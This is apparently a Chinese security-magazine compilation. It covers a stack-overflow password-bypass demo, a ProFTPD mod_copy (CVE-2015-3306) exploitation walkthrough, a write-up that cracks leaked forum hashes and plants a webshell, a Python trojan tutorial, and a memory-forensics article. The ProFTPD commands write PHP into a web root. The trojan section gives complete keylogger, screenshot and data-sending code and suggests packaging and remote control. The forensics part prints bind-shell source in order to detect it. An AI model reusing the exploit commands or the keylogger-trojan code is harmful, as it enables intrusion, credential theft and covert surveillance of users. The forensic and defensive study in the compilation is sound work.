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Windows7 下的栈溢出原理与实践 

文/图 xiaoqin00 

在我们的生活中，存在的许许多多的漏洞，下面向大家介绍的就是平时比较常见的栈溢

出漏洞的实践过程。我们将用一个非常简单的例子让大家对栈溢出漏洞有个直观的认识。 

 下面是一个简单的密码验证程序，因为代码不严密，导致了栈溢出漏洞的产生。 

 

#include<stdio.h> 

#include<string.h> 

#define PASSWORD "1234567" 

int verify_password (char *password) 

{ 

 int authenticated; 

 char buffer[8];//定义一个大小为 8 字节的数组，控制没溢出的字符串长度；（超出

这个长度就发生溢出） 

 authenticated=strcmp(password,PASSWORD); 

 strcpy(buffer,password);//这个语句就直接导致了溢出的发生 

 return authenticated; 

} 

main() 

{ 

 int valid_flag=0; 

 char password[1024]; 

 while(1) 

 { 

  printf("请输入密码: "); 

  scanf("%s",password); 

  valid_flag=verify_password(password); 

  if(valid_flag) 

  { 

   printf("密码错误!\n\n"); 

  } 

  else 

  { 

   printf("恭喜，你通过了验证!\n"); 

   break; 

  } 

 } 

} 

 

 具体运行情况如图 1 所示。 
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图 1 

 如果我们输入这样的密码，它也能通过，如图 2 所示。 

 

图 2 

 那么，出现这种情况的原因是什么呢？如图 3 所示，是程序运行时栈的情况。 

图 3 

学过 C 语言的人应该知道，一个字符串的结尾是以字符串截断符 null 作为字符串结束标

志的。在这个程序中，我们开始定义的 char 型 buffer 数组长度为 8，如果你输入的密码长度

不等于 8 的话，那么这个密码验证程序的功能还是完善的，但是如果你的密码长度为 8 的话，

这个栈溢出漏洞的危害就显现出来了。密码长度为 8，buffer 字符串数组的’结束标志就会溢

出至 int authenticated 的内存空间内，并将原来的数据覆盖。 

 观察源代码不难发现，authenticated 变量的值来源于 strcmp 函数的返回值，之后会返

回给 main 函数作为密码验证成功与否的标志变量：当 authenticated 为 0 时，表示验证成功，

反之，验证不成功。 

HACKER DEFENCE◆4◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

 下面我们用 ollydbg 来验证一下到底是不是这样，如图 4 所示，我们输入 8 个 q。 

 
图 4 

 在图 5 中，我们可以清楚地看到，8 个 q（ASCII 中 71 代表 q）将 buffer 数组全部占满，

字符串截断符溢出至 0018FB4C（即原 authenticated 的位置）。 

 

图 5 

 栈的具体变化情况如下表所示。 

局部变量名 内存地址 偏移 3 处的值 偏移 2 处的值 偏移 1 处的值 偏移 0 处的值 

Buffer 0x0018FB44 0x71(‘q’) 0x71(‘q’) 0x71(‘q’) 0x71(‘q’) 

 0x0018FB48 0x71(‘q’) 0x71(‘q’) 0x71(‘q’) 0x71(‘q’) 

authenticated 被覆盖前 0x0018FB4C 0x00 0x00 0x00 0x01 

authenticated 被覆盖后 0x0018FB4C 0x00 0x00 0x00 0x00(null) 

 

通过上面的解释，大家对栈溢出应该有了一个初步的认识。这里介绍的栈溢出漏洞看起

来很简单，但实际上栈溢出是最常见的内存错误之一，也是攻击者入侵系统时所用到的最强

大、最经典的一类漏洞利用方式。但还要注意以下情况： 

 1）在观察内存的时候应当注意内存数据与数值数据的区别，电脑在存储数据的时候并

不是按照我们平时记忆的方式存储。在调试环境中，内存有低到高分布，但在数值应用的时

候确实由高位字节向低位字节进行解释。 

 2）在输入密码时，如果你输入的字符串小于原来定义的密码，是不能冲破验证程序的。 
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 3）这个实验是在 win7 64 位环境下完成的，在其他环境下栈溢出的原理相同，但内存

地址不同。 

 4）在 Windows XP 以上系统中，系统增强了保护功能，有部分复杂的栈溢出不能在不

做修改的情况下完成。 

                                                                                 

Proftpd mod_copy 模块命令未授权调用 

文/图 [Baidu-Xteam] S.T. 

该漏洞原标题为 Unauthenticated copying of files via SITE CPFR/CPTO allowed by 

mod_copy，意为 mod_copy 模块允许通过 SITE CPFR/CPTO 命令来实现未授权的文件拷贝，编

号 CVE-2015-3306。 

 

漏洞分析 

本次漏洞发生在 mod_copy 模块，该模块中，对于执行 CPFR 和 CPTO 命令的函数并未进

行身份认证，现在看下正常的身份认证代码，在\contrib\mod_copy.c 第 477 行。 

 

MODRET copy_copy(cmd_rec *cmd) { 

  if (cmd->argc < 2) { 

    return PR_DECLINED(cmd); 

  } 

  

  if (strncasecmp(cmd->argv[1], "COPY", 5) == 0) { 

    char *cmd_name, *from, *to; 

    unsigned char *authenticated; 

  

    if (cmd->argc != 4) { 

      return PR_DECLINED(cmd); 

    } 

  

    authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); 

    if (authenticated == NULL || 

        *authenticated == FALSE) { 

      pr_response_add_err(R_530, _("Please login with USER and PASS")); 

      return PR_ERROR(cmd); 

    } 

 

从代码段中不难看出，authenticated 代表了身份认证的结果，如果该值不为真的时候，

则会弹出提示“please login…”，接下来再看此次出现问题的函数，代码在

\contrib\mod_copy.c 第 594 行。 

 

MODRET copy_cpto(cmd_rec *cmd) { 
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  register unsigned int i; 

  char *from, *to = ""; 

  if (cmd->argc < 3 || 

      strncasecmp(cmd->argv[1], "CPTO", 5) != 0) { 

    return PR_DECLINED(cmd); 

  } 

  CHECK_CMD_MIN_ARGS(cmd, 3); 

  from = pr_table_get(session.notes, "mod_copy.cpfr-path", NULL); 

  if (from == NULL) { 

    pr_response_add_err(R_503, _("Bad sequence of commands")); 

    return PR_ERROR(cmd); 

  } 

  /* Construct the target file name by concatenating all the parameters after 

   * the "SITE CPTO", separating them with spaces. 

   */ 

  for (i = 2; i <= cmd->argc-1; i++) { 

    to = pstrcat(cmd->tmp_pool, to, *to ? " " : "", 

      pr_fs_decode_path(cmd->tmp_pool, cmd->argv[i]), NULL); 

  } 

  to = dir_canonical_vpath(cmd->tmp_pool, to); 

  if (copy_paths(cmd->tmp_pool, from, to) < 0) { 

    int xerrno = errno; 

    pr_response_add_err(R_550, "%s: %s", cmd->argv[1], strerror(xerrno)); 

    errno = xerrno; 

    return PR_ERROR(cmd); 

  } 

  pr_response_add(R_250, "%s", _("Copy successful")); 

  return PR_HANDLED(cmd); 

} 

 

copy_cpto 函数即为执行 SITE CPTO 时调用的函数，在该函数中，并未存在任何身份认

证代码，即在未进行身份认证也就是未登录的情况下，可以使用该函数，而 SITE CPFR 命令

同理，均为进行身份认证。两个命令配合起来，即可实现文件的拷贝和移动。 

 

漏洞利用 

nc 链接目标 IP 端口，如 nc xx.xx.xx.xx 21，即可输入命令进行操作。首先演示移动

文件，执行如下命令即可将 passwd文件移动到 tmp 目录。 

site cpfr /etc/passwd 

site cpto /tmp/Stefanie 

当服务器开放了 Web 服务，并且猜到 Web 目录的情况下，可以通过如下方式，拷贝

webshell 到 Web 目录。 

 

site cpfr /etc/passwd 

site cpto <?php phpinfo(); ?> 
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site cpfr /proc/self/fd/3 

site cpto /var/www/test.php 

 

“site cpto <?php phpinfo(); ?>”用于故意创建一个错误的使用方式，此操作会将

php 代码写入 proftpd的错误日志，后面则是将该文件复制到 web 目录。此时 php 文件的内

容如下： 

2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q 

(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument 

2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q 

(slon-P5Q.lan[192.168.3.193]): FTP session opened. 

2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q 

(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php 

phpinfo(); ?>' for copying: Permission denied 

 

影响范围 

 2011-11-09的 proftpd-1.3.4 到 2014-05-15的 proftpd-1.3.5。 

    CentOS 编译安装需使用配置./configure --with-modules=mod_copy，否则会不存在该模

块，测试时修改后使用 yum install 也并不存在该模块；Ubuntu 默认 apt-get install 即存

在该漏洞。 

                                                                                 

从敏感文件泄露到获取 webshell 

文/图 Simeon 

   本次渗透源自于一次偶然的扫描，通过扫描获取某站点的早期整个站点的打包压缩文件

wwwroot.rar。通过分析源代码后，对管理员和版主密码进行破解，通过登录系统，分析系

统漏洞，最后成功获取 webshell。 

 

分析源代码 

   首先对源代码进行分析，发现其早期系统采用动感 BBS 系统，在 wwwroot.rar 中发现有

早期 bbs 的数据库文件，如图 1 所示，数据库使用 access，通过数据库文件可以分析系统是

使用 DVBBS7.X 版本。 

  

图 1 获取早期数 access 据库 
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尝试破解用户密码 

   打开 dvbbs7.0.mdb 数据库，对 dv_admin 和 dv_user 表进行分析，如图 2 所示，重点对

管理员和版主密码进行破解，在该表中共有 4 万多条数据。 

 

图 2 破解用户密码 

 

登录系统测试 

   通过破解选定用户的密码，将该密码在该系统进行登录，如图 3 所示，管理员密码已经

更改，使用版主的密码成功登录系统，在进行实际测试过程中，由于打包文件时间较长，绝

大部分系统管理员的密码都改变了，但管理员的基本信息以及旧系统获取的信息可以在社工

库中进行查询，对精准社工渗透特别有用。 

 
图 3 登录系统测试 

 

寻找漏洞 

    登录系统后发现系统采用 Dvbbs8.2 版本，通过互联网获悉该版本存在 IIS 解析文件漏洞，

可以在个人空间通过文件管理上传 1.asp;.1.gif 类似图片文件获得 Webshell，但前提是系统允

许个人用户开启空间，如图 4 所示，开启该用户的空间。 
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图 4 开启个人空间 

 

上传 webshell 测试 

   在个人空间中单击文件管理，在风格模板-文件管理中上传 anyon.asp;1.gif 文件，如图 5

所示，系统提示上传成功，单击该图片文件即可获取 webshell 地址，如图 6 所示，插入过

一句话木马的图片文件能够成功运行。 

 

图 5 上传 webshell 文件 

 

图 6 webshell 文件地址 

 

成功获取 webshell 

   在中国菜刀中新建一个 shell 记录，如图 7 所示，成功获取该网站的 webshell。 
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图 7 获取 webshell 

 

总结与思考 

本文的渗透思路很简单， 通过分析源代码和数据库，如果能够得到管理员权限，则通

过后台进入系统，寻找上传等地址来获取 webshell；如果是普通用户，则分析该系统是否存

在漏洞，然后进行利用。对该系统进行安全加固方面的一些建议： 

1）在对网站进行更新维护等操作时，打包文件尽量使用密码进行加密，这样即使被下

载也因为有密码的保护而相对安全一些。尽量在维护过程中不保存源代码压缩包等敏感文

件。 

2）对用户上传图片的目录严格设置权限，设置为只读。 

3）更新系统到最新版本。 

 

（完） 
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Python 编写木马程序 

文/图 light（NEURON） 

本文属于《小学生科普系列》番外篇，《小科》系列面向小学生，纯科普，大牛莫喷~ 文

章内容仅供学习研究、切勿用于非法用途！这次我们使用 Python 编写一个具有键盘记录、

截屏以及通信功能的简易木马，依然选用 Sublime text2 +JEDI（python 自动补全插件）来写

代码，安装配置 JEDI 插件可以参照 http://drops.wooyun.org/tips/4413。 

首先准备好我们需要的依赖库，python hook 和 pythoncom。下载安装 python hook：

http://sourceforge.net/projects/pyhook/ ； 下 载 安 装 pythoncom 模 块 ：

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.w

in32-py2.7.exe/download。 

如果觉得麻烦，你可以直接使用集成了所有我们所需要的 python 库的商业版

Activepython（我们可以用他的免费版）：http://www.activestate.com/activepython。 

 

记录你所敲打的一切：编写一个 keylogger 

说起 Keylogger，大家的思维可能早已飞向带有 wifi 功能的 mini 小硬件去了。抛开高科

技，我们暂且回归本质，探探简易键盘记录器的原理与实现。 

Python keylogger 键盘记录的功能的实现主要利用了 pythoncom 及 pythonhook，然后就

是对 windows API 的各种调用。Python 之所以用起来方便快捷，主要归功于这些庞大的支持

库，正所谓“人生苦短，快用 Python”。关键代码如下所示： 

 

# -*- coding: utf-8 -*-   

from ctypes import * 

import pythoncom 

import pyHook 

import win32clipboard 

 

user32 = windll.user32 

kernel32 = windll.kernel32 

psapi = windll.psapi 

current_window = None 

 

#  

def get_current_process(): 

 # 获取最上层的窗口句柄 

 hwnd = user32.GetForegroundWindow() 

 # 获取进程 ID 

 pid = c_ulong(0) 

 user32.GetWindowThreadProcessId(hwnd,byref(pid)) 

 # 将进程 ID 存入变量中 

 process_id = "%d" % pid.value 
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 # 申请内存 

 executable = create_string_buffer("\x00"*512) 

 h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) 

 psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) 

 # 读取窗口标题 

 windows_title = create_string_buffer("\x00"*512) 

 length = user32.GetWindowTextA(hwnd,byref(windows_title),512) 

 # 打印 

 print  

 print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) 

 print  

 # 关闭 handles 

 kernel32.CloseHandle(hwnd) 

 kernel32.CloseHandle(h_process) 

 

# 定义击键监听事件函数 

def KeyStroke(event): 

 global current_window 

 # 检测目标窗口是否转移(换了其他窗口就监听新的窗口) 

 if event.WindowName != current_window: 

  current_window = event.WindowName 

  # 函数调用 

  get_current_process() 

 # 检测击键是否常规按键（非组合键等） 

 if event.Ascii > 32 and event.Ascii <127: 

  print chr(event.Ascii), 

 else: 

  # 如果发现 Ctrl+v（粘贴）事件，就把粘贴板内容记录下来 

  if event.Key == "V": 

   win32clipboard.OpenClipboard() 

   pasted_value = win32clipboard.GetClipboardData() 

   win32clipboard.CloseClipboard() 

   print "[PASTE]-%s" % (pasted_value), 

  else: 

   print "[%s]" % event.Key, 

 # 循环监听下一个击键事件 

 return True 

# 创建并注册 hook 管理器 

kl = pyHook.HookManager() 

kl.KeyDown = KeyStroke 

# 注册 hook 并执行 

kl.HookKeyboard() 

pythoncom.PumpMessages() 
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【知识点】钩子(Hook)：Windows 消息处理机制的一个平台,应用程序可以在上面设置子

程以监视指定窗口的某种消息，而且所监视的窗口可以是其他进程所创建的。 

 

 编写代码时一定要注意严格区分大小写，检查无误后启动 keylogger，然后可以尝试打

开记事本写点东西，过程中可以看到我们的 keylogger 窗口正在对我们的输入实时记录，如

图 1 所示。 

 

图 1 

切换窗口时会自动跟踪到新窗口，light 教授趁机骚扰一下疯狗，可以看到我们的

keylogger 已经跟踪到 QQ 聊天窗口，并忠实的记录下输入的一切，如图 2 所示。 

 

图 2 

 

看看你在干什么：编写一个 screenshotter 

 截屏实现起来更简单，直接调用几个 GUI 相关的 API 即可，我们直接看代码。 

 

# -*- coding: utf-8 -*-   

import win32gui 

import win32ui 

import win32con 

import win32api 

 

# 获取桌面 

hdesktop = win32gui.GetDesktopWindow() 

# 分辨率适应 

width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 

height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 
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left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 

top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 

# 创建设备描述表 

desktop_dc = win32gui.GetWindowDC(hdesktop) 

img_dc = win32ui.CreateDCFromHandle(desktop_dc) 

# 创建一个内存设备描述表 

mem_dc = img_dc.CreateCompatibleDC() 

# 创建位图对象 

screenshot = win32ui.CreateBitmap() 

screenshot.CreateCompatibleBitmap(img_dc, width, height) 

mem_dc.SelectObject(screenshot) 

# 截图至内存设备描述表 

mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 

# 将截图保存到文件中 

screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp') 

# 内存释放 

mem_dc.DeleteDC() 

win32gui.DeleteObject(screenshot.GetHandle()) 

 

 运行之后看看效果如何，如图 3 所示。 

 

图 3 

 

综合运用：完成一个简易木马 

无论是 keylogger 记录下的内容，还是 screenshotter 截获的图片，只存在客户端是没有

太大意义的，我们需要构建一个简单 server 和 client 端来进行通信，传输记录下的内容到我

们的服务器上。 
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1）编写一个简单的 TCPclient 

 

# -*- coding: utf-8 -*-  

import socket 

# 目标地址 IP/URL 及端口 

target_host = "127.0.0.1" 

target_port = 9999 

# 创建一个 socket 对象 

client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 

# 连接主机 

client.connect((target_host,target_port)) 

# 发送数据 

client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n") 

# 接收响应 

response = client.recv(4096) 

print response 

 

2）编写一个简单的 TCPserver 

 

# -*- coding: utf-8 -*-  

import socket 

import threading 

 

# 监听的 IP 及端口 

bind_ip = "127.0.0.1" 

bind_port = 9999 

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 

server.bind((bind_ip,bind_port)) 

server.listen(5) 

print "[*] Listening on %s:%d" % (bind_ip,bind_port) 

def handle_client(client_socket): 

 request = client_socket.recv(1024) 

 print "[*] Received:%s" % request 

 client_socket.send("ok!") 

 client_socket.close() 

while True: 

 client,addr = server.accept() 

 print "[*] Accept connection from:%s:%d" % (addr[0],addr[1]) 

 client_handler = threading.Thread(target=handle_client,args=(client,)) 

 client_handler.start() 

 

开启服务端监听，如图 4 所示。 
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图 4 

执行客户端，如图 5 所示。 

 

图 5 

服务端接收到客户端的请求并做出了响应，如图 6 所示。 

 

图 6 

最后需要做的就是把上面三个模块结合起来，一个简易的具有键盘记录、屏幕截图并可

以发送内容到我们服务端的木马就完成了。可以使用 py2exe 把脚本生成 exe 可执行文件。

当然，你还可以继续发挥，加上远程控制功能。 

                                                                                  

基于 Win64 系统的进程内存取证分析技术 

文/图 倪程 成都工业职业技术学院 

计算机技术的迅速发展，为违法犯罪分子提供了新的作案平台和犯罪手段，特别是随着

加密技术和无痕技术的普及，传统的电子取证手段面临巨大挑战，有些如已被删除、加密或

破坏的有价值电子证据获取起来的难度加大。内存取证技术的发展在一定程度上弥补了传统

的离线取证技术的不足，通过内存镜像的分析，调阅当前正在内存中运行的进程、所有载入

模块和 DLL 库以及运行中的设备驱动程序发现各种潜在问题，如设备驱动中是否附着恶意驱

动设置底层钩子程序、DLL 库是否劫持等。 

本文将重点讲述内存中运行的进程取证分析技术，通过分析进程结构体以识别各种可能

的恶意行为，分析对象包括进程标准句柄以及引用的动态链接库等，以攻击者的典型攻击手

法为例，分析如何从目标主机的异常行为表现中发现问题，并提取有效证据。 

 

Windows 系统进程取证基础 

在 Windows 系统中，每个进程都用一个 EProcess（ExecutiveProcess）结构来表示，它

包含进程的可执行文件全路径、启动进程的命令行、当前工作目录、进程堆指针、进程标准

句柄以及指向进程相关的其他属性和数据结构的指针。由于数据结构就是字节序列，序列中

有特殊的含义和目的，所以需要调查人员对其进行分析。EProcess 结构中最重要的一个成员

是指向进程环境块（PEB）的指针。进程环境块中包含大量的信息，对取证比较重要的信息

有： 

（1）BeingDebugged：进程调试标志，判断当前进程是否处于被调试状态，一些病毒程
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序、安全软件常使用此标志保护自己被反调试。 

（2）指向 PPEB_LDR_DATA 结构（其中存放的是进程的加载器使用的数据）的指针，

PPEB_LDR_DATA 结构中包含进程中使用的动态链接库的指针。 

（3）指向可执行文件镜像加载基地址（ImageBaseAddress，在 PEB 偏移 0x008 处）的

指针，通过这个指针可以找到内存中可执行文件的起始位置。 

（4）指向包含进程参数结构（ProcessParameters，在 PEB 偏移 0x010 处）的指针，该

结构包含进程中加载的动态链接库的路径、可执行文件镜像的原始路径以及创建进程时传递

进来的参数等信息。 

通 过 windbg 调 试 工 具 ， 使 用 dt 命令可以查看 ProcessParameters 结 构 体

_RTL_PROCESS_PARAMETERS 的详细内容： 

 

>>> dt("_RTL_USER_PROCESS_PARAMETERS") 

'_RTL_USER_PROCESS_PARAMETERS' (1024 bytes) 

….. 

0x20  : StandardInput     ['pointer64', ['void']] //进程标准输入句柄 

0x28  : StandardOutput    ['pointer64', ['void']] //进程标准输出句柄 

0x30  : StandardError     ['pointer64', ['void']] //进程标准错误句柄 

0x38  : CurrentDirectory   ['_CURDIR']  //应用程序的当前工作目录 

0x50  : DllPath           ['_UNICODE_STRING'] 

0x60  : ImagePathName    ['_UNICODE_STRING'] //进程 exe 文件在磁盘目录上的全

路径名（以 unicode 形式编码） 

0x70  : CommandLine     ['_UNICODE_STRING'] 

0x80  : Environment        ['pointer64', ['void']] 

….. 

 

进程句柄取证分析 

通过分析进程标准句柄列表，可以确定进程的输入输出值以及报错信息等。这些信息值

在分析取证系统是否遭受远程攻击时，具有一定的参考价值。例如，分析系统是否遭受远程

后门 shell 攻击等。攻击者惯用的伎俩，即创建一个 shell 后门命令，重定向进程句柄至命名

管道或网络套接字，使得攻击者通过 telnet 或 netcat 命令随时与目标机建立连接。相关代码

如下所示： 

 

mySockAddr.sin_family = PF_INET; 

mySockAddr.sin_port = htons(31337); 

mySockAddr.sin_addr.s_addr = htonl(INADDR_ANY); 

if (bind(myMainSock, (SOCKADDR *)&mySockAddr, sizeof(mySockAddr)) == 

SOCKET_ERROR){    

   WSACleanup();return(-1); 

} 

while(1) { 

   mySock = SOCKET_ERROR; 

   while(mySock == SOCKET_ERROR) { 

     sleep(1); 

     listen(mySock, SOMAXCONN); 
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     ulSzSockAddr = sizeof(myCliSockAddr); 

    mySock = accept(myMainSock, (SOCKADDR *)&myCliSockAddr, (int *)&ulSzSockAddr); 

   } 

   memset(&mySi, 0, sizeof(mySi)); 

   memset(&myPi, 0, sizeof(myPi)); 

  mySi.wShowWindow = SW_HIDE; 

mySi.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 

   mySi.hStdError = (VOID *) mySock; 

   mySi.hStdInput = (VOID *) mySock; 

   mySi.hStdOutput = (VOID *) mySock; 

  CreateProcess(0, wcsdup(L"cmd.exe"), 0, 0, 1, 0, 0, 0, &mySi, &myPi); 

} 

 

上述程序主要功能是以本地为服务端，创建一个套接字，实时监听端口 31337 消息。一

旦接到对方的连接请求，会自动调用 accept 函数接收消息，并返回客户端套接字 mySock；

然后启用标准消息块_STRANDARD_INFORMATION 中的 STARTF_USETDHANDLES 变量，重定向

hStdError，hStdInput 和 hStdOutput 至客户端套接字 mySock 上，并创建子进程 cmd.exe，设

置 bInheritHandles 变量为 TRUE 使得子进程可继承父类句柄。上述步骤完成后，攻击者通过

cmd.exe 键入的任何命令，都会通过网络传输到受控主机，并自动在受控主机中按照攻击者

意愿执行相关命令，如搜索文件并自动将搜索结果以文本方式回传等。 

在调查分析受控主机时，在查看当前正在运行的进程列表，发现 cmd.exe 已被启用时，

若取证分析员具有一定的敏锐性，可能会进一步分析 cmd.exe 的标注输入句柄，确定进程被

启用的目的，如是否存在后门活动等；不然，可能会因此忽视一个重大的发现。具体的分析

步骤如下： 

（1）查看目标主机 cmd.exe 所有进程实例的标准输入输出及错误信息。 

 $ python vol.py -f memory.dmp --profile=Win7SP1x64 volshell 

Volatility Foundation Volatility Framework 2.4 

Current context: process System, pid=4, ppid=0 DTB=0x187000 

To get help, type 'hh()' 

>>> for proc in win32.tasks.pslist(self.addrspace): 

...   if str(proc.ImageFileName) != "cmd.exe": 

...     continue 

...   if proc.Peb: 

...     print proc.UniqueProcessId,\ 

...     hex(proc.Peb.ProcessParameters.StandardInput),\ 

...     hex(proc.Peb.ProcessParameters.StandardOutput),\ 

...     hex(proc.Peb.ProcessParameters.StandardError) 

...  

572 0x3L 0x7L 0xbL 

564 0x3L 0x7L 0xbL 

2160 0x68L 0x68L 0x68L 

从上面给出的信息，可以看出 cmd.exe 有三个实例进程在运行，进程 ID 为 2160 的输入

输出和错误句柄消息均相同。初步判断 0x68 可能被重定位到一个命名管道或者网络套接字。 

（2）进一步定位进程 ID 号为 2160 的进程，以查看句柄值 0x68 详请。 
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$ python vol.py -f memory.dmp --profile=Win7SP1x64 handles -p 2160 -t File  

Volatility Foundation Volatility Framework 2.4 

Offset(V)             Pid     Handle  Type    Details 

------------------ ------ ---------  -------- ------- 

0xfffffa80015c4070   2160       0xc  File 

\Device\HarddiskVolume1\Users\Elliot\Desktop 

0xfffffa8002842130   2160      0x54  File      \Device\Afd\Endpoint 

0xfffffa80014f3af0   2160      0x68  File      \Device\Afd\Endpoint 

由上述内容可知，cmd.exe 访问过文件驱动 Afd，AFD 驱动是 Windows 一个网络驱动部

件，与 SOCKET 应用接口对接实现 SOCKET 调用。显然 cmd.exe 是调用了网络套接字，若发

现本地是存在网络连接，基本可以确定系统已被远程后门利用。 

（3）通过 pstree 工具查看进程 2160 对应的父进程 ID 号以及父进程网络连接情况。 

$ python vol.py -f memory.dmp --profile=Win7SP1x64 pstree 

Volatility Foundation Volatility Framework 2.4 

Name                                   Pid   PPid   Thds   Hnds 

------------------------------------ ------ ------ ------ ------  

[snip] 

.. 0xfffffa80011105e0:memen.exe        1400    572      1     30  

... 0xfffffa8002b42060:cmd.exe         2160   1400      1     25  

. 0xfffffa8002827060:cmd.exe           3436   1408      1     25  

 0xfffffa8002be6b30:moby.exe           3036   3024     15    385  

$ python vol.py -f memory.dmp --profile=Win7SP1x64 netscan  

Volatility Foundation Volatility Framework 2.4  

Proto    Local Address         Foreign Address      State        Pid  Owner     

TCPv4    0.0.0.0:31337        0.0.0.0:0            LISTENING    1400 memen.exe 

TCPv4  192.168.228.171:31337 <REDACTED>:59574    ESTABLISHED  1400 memen.exe 

cmd.exe 进程 ID 2160 对应的父进程为 ID 号 1400，进程名 memen.exe. 父进程通过端

口 31337 与远端地址建立连接。上述例子即通过重定向输入输出句柄，利用子进程 cmd.exe

以执行远程命令，并将执行结果通过继承的父类进程句柄回传给攻击者。 

 

DLLs 隐藏与检测技术 

动态链接库是 windows 系统中的一个共享函数库，可被多个程序共同调用，实现代码

重用及程序的模块化开发。但随着技术的不断发展，很多攻击者开始盯上了 DLLs，因为它

具备运行的天然条件，可以寄宿到目标进程中，并借助目标进程的运行而加载运行。攻击者

可以构造恶意的 DLLs 文件，然后通过各种手段实现 DLLs 注入，如利用 CreateRemoteThread

远程建立线程的方式注入 DLL、利用 HooKs 技术注入、利用 ring0 APC 注入 DLL 等。 

在 DLLs 注入盛行的时间里，各种安全检测工具开始利用 DLLs 双向链表式存储特点遍历

进程的所有动态链接库，以识别恶意伪造的 DLLs. 后期又开始使用断链技术，将三个链表指

针全部断开，以隐藏 DLLs. 前面基础知识小节，简单描述了 PEB 结构体中的 ldr 指针结构体

PPEB_LDR_DATA，它包含进程中使用的动态链接库的指针，基地址位于 TEB 偏移 0x30 处。

PPEB_LDR_DATA 结构体成员信息，通过 dt 命令查看显示如下： 

kd> dt _peb_ldr_data 

ntdll!_PEB_LDR_DATA 

   +0x000 Length           : Uint4B 
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   +0x004 Initialized      : UChar 

   +0x008 SsHandle         : Ptr32 Void 

   +0x00c InLoadOrderModuleList : _LIST_ENTRY 

   +0x014 InMemoryOrderModuleList : _LIST_ENTRY 

   +0x01c InInitializationOrderModuleList : _LIST_ENTRY 

   +0x024 EntryInProgress  : Ptr32 Void 

该结构的后三个成员是指向 LDR_MODULE 链表结构中相应三条双向链表头的指针，分

别是按照加载顺序、在内存中地址顺序和初始化顺序排列的模块信息结构的指针。图标结构

如图 1 所示。 

 

图 1 

 由上图可知，通过上述三个指针可以依次遍历到指定进程加载的所有 DLLs, 同样为了隐

藏某个 DLL 文件，可以断开其中的一个链。为了达到完全隐藏的效果，甚至可采用三个链指

针全部断开的方式，代码可参考 http://www.openrce.org/blog/view/844/How_to_hide_dll 给出

的具体实现方式。 

 下面将重点介绍隐藏 DLLs 的检测技术。利用虚拟地址描述符 VAD 遍历所有 DLLs 文件。

VAD 是一棵平衡二叉搜索树，用于管理进程的虚拟内存，其中也包含着一个进程的 dll 模块

信息。对于每个进程而言，_EPROCESS.VadRoot 指向 VAD 树的根节点。通过 windbg 的 dt 命

令可选择一个进程查看对应的 VAD 结构体： 

lkd> dt _MMVAD 0x86b3dc20 

nt!_MMVAD 

   …… 

   +0x00c LeftChild        : 0x874e3ac8 _MMVAD 

   +0x010 RightChild       : 0x86939dc8 _MMVAD 

   +0x018 ControlArea      : 0x8708dcb8 _CONTROL_AREA 

   …… 

其中，0x00c，0c010 分别代表该 vad 节点的左右孩子节点，而 0x018 则代表其控制区。

CONTROL_AREA 中 0x000 处的 SEGMENT 包含有该模块的大小，基地址等信息。而 FilePointer

域指向的 FILE_OBJECT 对象则含有模块名称等信息，相关信息如下： 

lkd> dt _control_area 0x8708dcb8 

nt!_CONTROL_AREA 

   +0x000 Segment          : 0xe1379578 _SEGMENT 
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…… 

   +0x024 FilePointer      : 0x8744b1a8 _FILE_OBJECT 

   …… 

lkd> dt _FILE_OBJECT 0x8744b1a8 

nt!_FILE_OBJECT 

   …… 

   +0x030 FileName: _UNICODE_STRING "\applications \XXX.dll" 

   …… 

结合上述分析，利用平衡二叉树的遍历算法以及 DLL 文件的偏移量，可搜索遍历进程加

载的所有 DLLs 文件，具体方法可先通过 PsLookupProcessByProcessId 函数定位到 EPROCESS

结构体基地址，然后再偏移 0x11c 找到 VadRoot，再逐个根据地址偏移值定位即可。实现代

码就不再给出。除了上述方法外，还可以利用 PE 文件扫描技术，暴力搜索进程内存空间，

寻找“MZ”签名的所有 PE 文件实例。 

 

小结 

本文主要描述基于 PEB 结构体的内存分析取证技术，通过描述进程标准句柄输入输出的

重定向及 DLLs 隐藏技术，拟分析如何结合 PEB 结构体的内存存储方式，提取上述两种行为

留下的痕迹。 

 

（完） 
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.Net 生肉研究报告 

文/图 木羊 

我们在《论.Net 熟肉的正确打开方式》已经探讨了.Net 熟肉，也就是没有经过任何保

护，直接就把编译后的 MSIL（.Net 中间语言，也可理解为.Net FrameWork 虚拟机的字节码）

放出来的.Net 程序的逆向方法。相信很容易感觉到，在现在.Net 逆向工具如此成熟的环境

下，直接放出.Net 熟肉无异大声宣布我准备任人鱼肉。这已经不是一两处关键代码被偷窥

的问题，而是相等于整套程序代码拱手送人，重新编译发布也是分分钟的事情。如果有靠

写.Net 编写小玩意卖钱的同学，看到这里相信已经深吸了一口冷气。 

不过矛盾矛盾，有矛自然有盾，.Net 的逆向安全虽然不温不火，但整个生态环境实际

已经相当成熟。逆向的工具前面已经说了，保护工具，也即所谓的加壳工具，也已经经行过

几轮的迭代。保护的思路，概括来看大抵有两种，一种是延续传统对 PE 文件的保护方式，

业界称为整体保护方案；一种是专门针对.Net 熟肉一被拖进逆向工具，就把底裤都亮出来

的尿性，采取了加入垃圾以及各种打乱的混淆保护的策略，有意思的是，大概连微软都知

